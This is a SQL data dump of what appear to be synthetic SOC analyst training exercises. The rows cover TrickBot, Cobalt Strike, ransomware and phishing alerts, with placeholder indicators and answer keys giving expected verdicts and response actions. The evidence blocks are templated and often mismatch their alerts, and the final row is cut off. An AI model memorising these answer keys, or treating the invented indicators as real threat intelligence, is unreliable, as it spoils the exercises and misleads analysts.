(288, 'Disinformation Campaign Planning Uncovered', 'high', 'Threat Intelligence Platform', 'Analysts have uncovered a coordinated disinformation campaign through leaked communications from APT28 operatives. The campaign aims to discredit political figures and manipulate election outcomes using fake news distribution and social media manipulation.', 'Information Operations', 'T1027 - Obfuscated Files or Information', 1, 'Closed', 169, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"source_ip\":\"185.92.220.50\",\"destination_ip\":\"192.168.1.105\",\"malicious_filename\":\"election_strategy_2023.pdf\",\"hash_sha256\":\"8a7f5e3c1d4f8e1b6c3d8f7a3e2d4c5b6a1f7e8d5c2b3a4d8e3f7c1b6d2a7f9e\",\"username\":\"jdoe\",\"action\":\"file_download\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"description\":\"Leaked document detailing plans for disinformation campaign.\"}', '2025-12-31 15:17:10', '2026-02-23 03:12:26', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT28 operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"8a7f5e3c1d4f8e1b6c3d8f7a3e2d4c5b6a1f7e8d5c2b3a4d8e3f7c1b6d2a7f9e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious document.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"election_strategy_2023.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Reports\",\"verdict\":\"suspicious\",\"details\":\"File used in the distribution of disinformation content.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.892Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"source_ip\\\":\\\"185.92.220.50\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"malicious_filename\\\":\\\"election_strategy_2023.pdf\\\",\\\"hash_sha256\\\":\\\"8a7f5e3c1d4f8e1b6c3d8f7a3e2d4c5b6a1f7e8d5c2b3a4d8e3f7c1b6d2a7f9e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_download\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"description\\\":\\\"Leaked document detailing plans for disinformation campaign.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.892Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"source_ip\\\":\\\"185.92.220.50\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"malicious_filename\\\":\\\"election_strategy_2023.pdf\\\",\\\"hash_sha256\\\":\\\"8a7f5e3c1d4f8e1b6c3d8f7a3e2d4c5b6a1f7e8d5c2b3a4d8e3f7c1b6d2a7f9e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_download\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"description\\\":\\\"Leaked document detailing plans for disinformation campaign.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.892Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"source_ip\\\":\\\"185.92.220.50\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"malicious_filename\\\":\\\"election_strategy_2023.pdf\\\",\\\"hash_sha256\\\":\\\"8a7f5e3c1d4f8e1b6c3d8f7a3e2d4c5b6a1f7e8d5c2b3a4d8e3f7c1b6d2a7f9e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_download\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"description\\\":\\\"Leaked document detailing plans for disinformation campaign.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.892Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"source_ip\\\":\\\"185.92.220.50\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"malicious_filename\\\":\\\"election_strategy_2023.pdf\\\",\\\"hash_sha256\\\":\\\"8a7f5e3c1d4f8e1b6c3d8f7a3e2d4c5b6a1f7e8d5c2b3a4d8e3f7c1b6d2a7f9e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_download\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"description\\\":\\\"Leaked document detailing plans for disinformation campaign.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.892Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"source_ip\\\":\\\"185.92.220.50\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"malicious_filename\\\":\\\"election_strategy_2023.pdf\\\",\\\"hash_sha256\\\":\\\"8a7f5e3c1d4f8e1b6c3d8f7a3e2d4c5b6a1f7e8d5c2b3a4d8e3f7c1b6d2a7f9e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_download\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"description\\\":\\\"Leaked document detailing plans for disinformation campaign.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(289, 'Phishing Email Detected', 'medium', 'Email Gateway', 'A phishing email was detected targeting hospital staff. The email contains a malicious link designed to download TrickBot malware upon clicking.', 'Phishing', 'T1566.001', 1, 'Closed', NULL, '{\"timestamp\":\"2023-10-05T14:23:11Z\",\"email_subject\":\"Important Update Required\",\"sender_email\":\"attacker@example.com\",\"recipient_email\":\"staff@hospital.org\",\"malicious_link\":\"http://malicious-link.com/download\",\"attachment\":\"none\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"update-instructions.html\"}', '2025-12-31 15:22:50', '2026-02-27 02:24:38', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing email address associated with multiple attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/download\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"URL associated with TrickBot malware distribution.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"suspicious\",\"details\":\"IP address flagged for suspicious activity in recent phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to TrickBot malware variant.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"update-instructions.html\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File name commonly used in phishing emails.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected\",\"date\":\"2026-02-01T20:32:18.893Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(290, 'TrickBot Malware Execution', 'high', 'EDR', 'TrickBot malware was executed on an employee\'s workstation, allowing the attacker to establish a foothold in the network. The malware is designed to harvest credentials and facilitate further attacks.', 'Malware', 'TA0002 - Execution', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-10T14:32:16Z\",\"event_type\":\"malware_execution\",\"src_ip\":\"192.168.1.45\",\"dest_ip\":\"34.210.123.158\",\"user\":\"jdoe\",\"process_name\":\"trickbot.exe\",\"process_id\":\"5678\",\"file_hash\":\"3f0a2f5e4d3a9b5c7f6e9df123456789\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\trickbot.exe\",\"detected_by\":\"EDR Agent\",\"malicious_score\":95}', '2025-12-31 15:22:50', '2026-02-27 02:28:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"34.210.123.158\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"This IP address has been associated with TrickBot C2 servers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f0a2f5e4d3a9b5c7f6e9df123456789\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known TrickBot malware hash.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"trickbot.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Executable file associated with TrickBot malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"internal\",\"details\":\"Username of the employee whose workstation was compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(291, 'Persistence Mechanism Identified', 'high', 'EDR', 'The attacker has established a persistence mechanism on the compromised system using TrickBot. This allows them to maintain access even after system reboots.', 'Persistence', 'T1547.001 - Registry Run Keys / Startup Folder', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-24T14:23:52Z\",\"event_id\":\"12345\",\"hostname\":\"victim-pc\",\"user\":\"jdoe\",\"process_name\":\"trickbot.exe\",\"process_id\":\"6789\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\trickbot.exe\",\"registry_key\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\TrickBot\",\"registry_value\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\trickbot.exe\",\"internal_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"command_line\":\"\\\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\trickbot.exe\\\" --silent\"}', '2025-12-31 15:22:50', '2026-02-27 02:32:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal company IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"malicious_ip_database\",\"verdict\":\"malicious\",\"details\":\"Known TrickBot command and control server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash associated with TrickBot malware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"trickbot.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"malicious\",\"details\":\"Executable linked to TrickBot malware\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_directory\",\"verdict\":\"clean\",\"details\":\"Valid user in the company directory\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(292, 'Cobalt Strike Beacon Detected', 'high', 'Network Traffic Analysis', 'The attacker deploys Cobalt Strike beacons to move laterally, targeting critical systems within the hospital network to spread the ransomware.', 'Lateral Movement', 'T1570: Lateral Tool Transfer', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-12T14:22:53Z\",\"source_ip\":\"193.161.35.75\",\"destination_ip\":\"10.10.15.23\",\"protocol\":\"HTTP\",\"uri\":\"/stager\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"filename\":\"beacon.exe\",\"username\":\"janedoe\",\"action\":\"download\"}', '2025-12-31 15:22:50', '2026-02-27 02:37:57', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"193.161.35.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known Cobalt Strike command and control server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.10.15.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal hospital network endpoint\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Cobalt Strike payload\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"beacon.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable used in lateral movement\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"janedoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Unexpected activity from this user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(293, 'Ransomware Encryption Initiated', 'critical', 'EDR', 'The ransomware has been executed across the hospital\'s network, encrypting patient data and rendering systems unusable. Immediate focus is required on data recovery and remediation.', 'Exfiltration', 'T1486: Data Encrypted for Impact', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-25T14:35:21Z\",\"event_id\":\"12345\",\"source_ip\":\"198.51.100.23\",\"target_ip\":\"10.0.0.25\",\"username\":\"hospital_admin\",\"file_affected\":\"patient_records.dat\",\"file_hash\":\"a3f5d6e8b9c2d4a1e9f8b6c4d5e9a2b3\",\"action\":\"encrypt\",\"process_name\":\"ransomware.exe\",\"process_id\":\"6789\",\"severity\":\"critical\"}', '2025-12-31 15:22:50', '2026-02-27 02:46:10', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known ransomware command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Hospital network server being targeted.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a3f5d6e8b9c2d4a1e9f8b6c4d5e9a2b3\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known ransomware strain.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"patient_records.dat\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Critical patient data file targeted for encryption.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"hospital_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Admin account used to execute the ransomware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(294, 'Initial Access via Spear Phishing Campaign', 'high', 'Email Gateway', 'An email containing a malicious attachment was sent to key personnel within the bank, appearing as an urgent internal communication. The attachment, if opened, installs malware to gain access to the internal network.', 'Phishing', 'T1566.001 - Phishing: Spear Phishing Attachment', 1, 'Closed', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"email_subject\":\"Urgent: Updated Security Protocols\",\"sender_email\":\"it-security@bank.com\",\"recipient_email\":\"j.doe@bank.com\",\"attachment_name\":\"SecurityUpdate.docx\",\"attachment_hash\":\"e99a18c428cb38d5f260853678922e03\",\"source_ip\":\"203.0.113.45\",\"recipient_ip\":\"10.0.1.15\",\"smtp_id\":\"<20231005142345.1.1234567890@bank.com>\"}', '2025-12-31 15:23:56', '2026-02-27 02:49:49', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"it-security@bank.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"suspicious\",\"details\":\"Email domain recently used in phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware hash associated with trojans.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous phishing attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Spear Phishing Campaign\",\"date\":\"2026-02-01T20:32:18.897Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(295, 'Malware Execution and Credential Harvesting', 'high', 'EDR', 'The malware was executed on a compromised system, allowing attackers to harvest credentials of bank clerks and administrators. This activity was detected following a successful phishing attempt, which is pivotal for attackers to gain further access to critical financial systems.', 'Malware', 'T1059 - Command and Scripting Interpreter', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-15T14:22:58Z\",\"event_type\":\"execution\",\"hostname\":\"finance-dept-pc1\",\"internal_ip\":\"192.168.10.45\",\"external_ip\":\"203.0.113.15\",\"malware_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"filename\":\"credential_harvester.exe\",\"executing_user\":\"jdoe\",\"command_line\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\credential_harvester.exe\",\"detected_by\":\"EDR\",\"status\":\"malicious\",\"os\":\"Windows 10\",\"process_id\":4567}', '2025-12-31 15:23:56', '2026-02-27 02:51:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with previous attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"MD5 hash matches a known malware sample.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"credential_harvester.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Logs\",\"verdict\":\"malicious\",\"details\":\"Suspicious executable used for credential harvesting.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(296, 'Lateral Movement through Network Exploitation', 'high', 'Network Monitoring', 'Using the harvested credentials and specialized administrative tools, the attackers move laterally across the network. They target systems responsible for managing ATM withdrawal limits and SWIFT transactions, setting the stage for unauthorized financial operations.', 'Lateral Movement', 'T1021', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-05T14:23:07Z\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"10.0.2.15\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe_admin\",\"used_tool\":\"PsExec\",\"target_system\":\"ATM-Controller-02\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"event\":\"Lateral movement detected from 192.168.1.105 to 10.0.2.15 using PsExec by user jdoe_admin.\"}', '2025-12-31 15:23:56', '2026-02-27 02:54:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted 